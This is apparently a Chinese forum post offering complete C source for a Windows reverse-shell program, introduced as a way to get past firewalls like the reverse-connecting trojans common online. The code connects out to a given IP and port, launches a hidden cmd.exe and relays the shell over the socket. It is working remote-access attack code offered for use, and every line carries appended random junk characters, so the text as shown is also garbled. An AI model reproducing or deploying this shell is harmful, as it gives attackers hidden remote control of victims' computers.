这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vz>9jw:Y
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/* ============================== >j3':>\U
Rebound port in Windows NT 7}y@VO6]
By wind,2006/7 6wj o:I
===============================*/ 4hLk+ z<n
#include h# KSKKNW
#include 4}k@p>5v'
c"-X:m"
#pragma comment(lib,"wsock32.lib") ep?D;g
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void OutputShell(); od5nRb
SOCKET sClient; m;\nMdn
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jf`w8*R
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void main(int argc,char **argv) FU/:'/ L
{ 4w=v
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WSADATA stWsaData; fM7B<eB
int nRet; ?jUgDwc(w
SOCKADDR_IN stSaiClient,stSaiServer; /3Gq&[R{
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if(argc != 3) &M<"Fmn
{ ~tyqvHC
printf("Useage:\n\rRebound DestIP DestPort\n"); ,zr9* t
return; OylUuYy~j
} ]u!s-=3s
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WSAStartup(MAKEWORD(2,2),&stWsaData); yo->mD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DbLo{mFEIj
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stSaiClient.sin_family = AF_INET; R!QR@*N
stSaiClient.sin_port = htons(0); XHj%U
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M!5=3>Z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8s2y!pn7Q
{ YTZ :D/
printf("Bind Socket Failed!\n"); Zi+F IQ(
return;
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} 1fMV$T==K
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stSaiServer.sin_family = AF_INET; Hv/5)
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); fs;\_E[)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V^R,j1*
" "m-5PGYo
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )Z1&`rv
{ _AX,}9
printf("Connect Error!"); 3N-
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return; }T(=tfv@
} ~!~i_L\V
OutputShell(); *EvW: <
} )mf|3/o
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void OutputShell() VgIk '.
{ GiX3c^V"1
char szBuff[1024]; MGMJeqvr
SECURITY_ATTRIBUTES stSecurityAttributes; R*2N\2
OSVERSIONINFO stOsversionInfo; JxwKTFU'3O
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +DXP&Q
STARTUPINFO stStartupInfo; fX 1%I
char *szShell; KYw7Jx`l
PROCESS_INFORMATION stProcessInformation; <=GZm}/]N
unsigned long lBytesRead; E;s_=j1f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); DJ<+" .v!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {[tmz;C
stSecurityAttributes.lpSecurityDescriptor = 0; <!FcQVH+L
stSecurityAttributes.bInheritHandle = TRUE; ]s0wJD=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Qt{){uE
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mY/"rm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8Cp@k=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z\`SDC
stStartupInfo.wShowWindow = SW_HIDE; |yO%w #
stStartupInfo.hStdInput = hReadPipe; >I5Wf/$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VnkhY
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GetVersionEx(&stOsversionInfo); Q"u2<
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switch(stOsversionInfo.dwPlatformId) EK=0oy[
{ rf|Nu3AJ
case 1: ru2M"]T
szShell = "command.com"; ,M?8s2?
break; u8KQV7E
default: ^
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szShell = "cmd.exe"; LH_H
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break; (>A#|N1U
} 4GF3.?3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )uOtQ0
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send(sClient,szMsg,77,0); i&lW&]
while(1) 68h1Wjg:"!
{ 4hxP`!<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S-o)d
if(lBytesRead) P HOngn
{ q x1Js3%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j>;1jzr2}
send(sClient,szBuff,lBytesRead,0); .rO~a.kG
} 2bTS,N/>
else qOy(dG g
{ N[3Y~HX!q
lBytesRead=recv(sClient,szBuff,1024,0); us?q^>u
if(lBytesRead<=0) break; DoFe:+_U3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ElpZzGj+
} x3FB`3y~s
} 2IW!EUR
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return; $t^Td<
}